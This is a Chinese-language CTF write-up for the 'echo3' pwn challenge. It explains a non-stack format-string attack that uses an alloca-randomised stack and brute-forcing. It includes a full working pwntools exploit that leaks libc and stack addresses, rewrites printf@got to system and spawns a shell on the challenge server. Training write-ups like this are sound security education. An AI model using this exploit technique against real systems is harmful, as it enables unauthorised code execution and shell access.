Loading... 虽然马上就要期末考了,我应该好好复习数分,但是还是没忍住,花了不少时间pwn了这题。 这是我做过的最麻烦的fmt,知识并没有新增,还是“搭跳板”,但是由于要爆破,之前就一直没做,今天突然想起来,莫名其妙的胸有成竹了起来,就试着pwn了一下 ### 前置知识 不在栈上的格式化字符串利用方法。我写过两篇wp对此方法进行了分析,这里就不在说了 * [BUU-xman_2019_format-WP](https://www.cjovi.icu/WP/buu-xman_2019_format-wp.html) * [KCTF-前世今生(PWN)/ASIS CTF Finals 2016 Heapstorm-WP](https://www.cjovi.icu/WP/979.html) ### 特点 栈被随机了 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1742221062.png "></div> `alloca`是一个在栈上动态分配内存的函数,相比起`malloc`肯定是要快上不少,但是种种原因都使得这个函数不被建议使用,不过这毕竟是题目,也就不管太多了。`buf`是一个随机数,然后通过一段奇怪的表达式申请了内存 写个脚本跑跑看 ```python #!/usr/bin/env python # coding=utf-8 poss = set() for i in range(0,1000000): poss.add(16*(((i & 0x3039) + 30)/0x10)) poss = set(poss) print list(poss) ``` ```bash # chuj @ cmp1 in ~/buu [14:31:45] $ python echo3_test_possibility.py [64, 8224, 48, 4128, 4160, 80, 12304, 4176, 4112, 32, 8272, 8208, 12336, 12368, 4144, 8240, 8256, 12352, 12320, 16] ``` 发现结果是有限的,那么可以考虑爆破。 ### 利用方法 #### 准备工作 栈的结构是利用的关键,我们需要尽可能地还原,buu提供了libc,我们可以通过patchelf的方法实现libc版本的一致。在[这篇文章](https://www.cjovi.icu/pwnreview/941.html)里面我记录了详细的方法(主要是旧版本ld的编译和patchelf的使用)。 #### 动调分析 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/23350059.png "></div> `alloca`似乎是内联的,直接对esp进行sup,我们把断点下在这里,用`set $eax=0x20`的方式指定eax为32,作为我们爆破时期望的随机值(别的值也可以,`0x20`兼顾了查看栈的方便和较高的概率)。然后在在`hardfmt`函数中的`printf`处下断点,观察栈 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1163839997.png "></div> 蓝色框可以leak libc基地址,ebp指向的内存可以leak stack,橙色框提供了两个跳板,由于我们只有五次格式化字符串攻击的机会,就需要同时利用这两个链进行攻击。红色框中有两个高二字节为`0x804`的内存单元(和`printf@got`的高字节相同),我们利用橙框中的两个链修改这两个单元为`&printf@got`和`&printf@got + 2`,就可以实现覆写`printf@got`为`system`,然后传入`"/bin/sh\x00"`就可以getshell了。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * libc = ELF("./libcs/buu-32-libc.so") while True: try: #sh = process("./echo3") sh = remote("node3.buuoj.cn",28897) sh.sendline("%43$p" + "libc_end" + "%18$p" + "stack_end") libc_base = int(sh.recvuntil("libc_end",drop = True),base =16) libc_base -= (libc.symbols["__libc_start_main"] + 247) print "libc_base:\t" + hex(libc_base)# leak the libc_base got_addr = int(sh.recvuntil("stack_end",drop = True),base = 16) - 4 * (0x2a - 0x14) print "got_addr:\t" + hex(got_addr)# leak the got_addr payload = "%" + str(got_addr & 0xFFFF) + "c" + "%30$hn" # point to got payload += "%4c" + "%31$hn-end" # point to magic sh.sendline(payload) sh.recvuntil("-end") payload = "%" + str(0xA014) + "c" + "%87$hn" #change printf@got payload += "%2c" + "%85$hn-end" #change printf@got + 2 sh.sendline(payload) sh.recvuntil("-end") # above got the ability to overwrite printf@got system = libc_base + libc.symbols["system"] if((system >> 16) > (system & 0xFFFF)): payload = '%' + str(system & 0xFFFF) + 'c' + "%20$hn" payload += '%' + str((system >> 16) - (system & 0xFFFF)) + 'c' + "%21$hn" else: payload = '%' + str(system >> 16) + 'c' + "%21$hn" payload += '%' + str((system & 0xFFFF) - (system >> 16)) + 'c' + "%20$hn" payload += "-end" print payload sh.sendline(payload) sh.recvuntil("-end") sh.sendline("/bin/sh\x00") sh.interactive() except: sh.close() else: sh.close() ``` 最近比较忙,这篇wp就只简单的写了下思路,没有特别详细。 我终于做完echo系列的3道题啦! ### 特别感谢 主要参考了[[Hackme.inndy]echo/echo2/echo3](http://liul14n.top/2020/03/16/Hackme-inndy-echo-echo2-echo3/),从中我学到了很多。 最后修改:2021 年 01 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧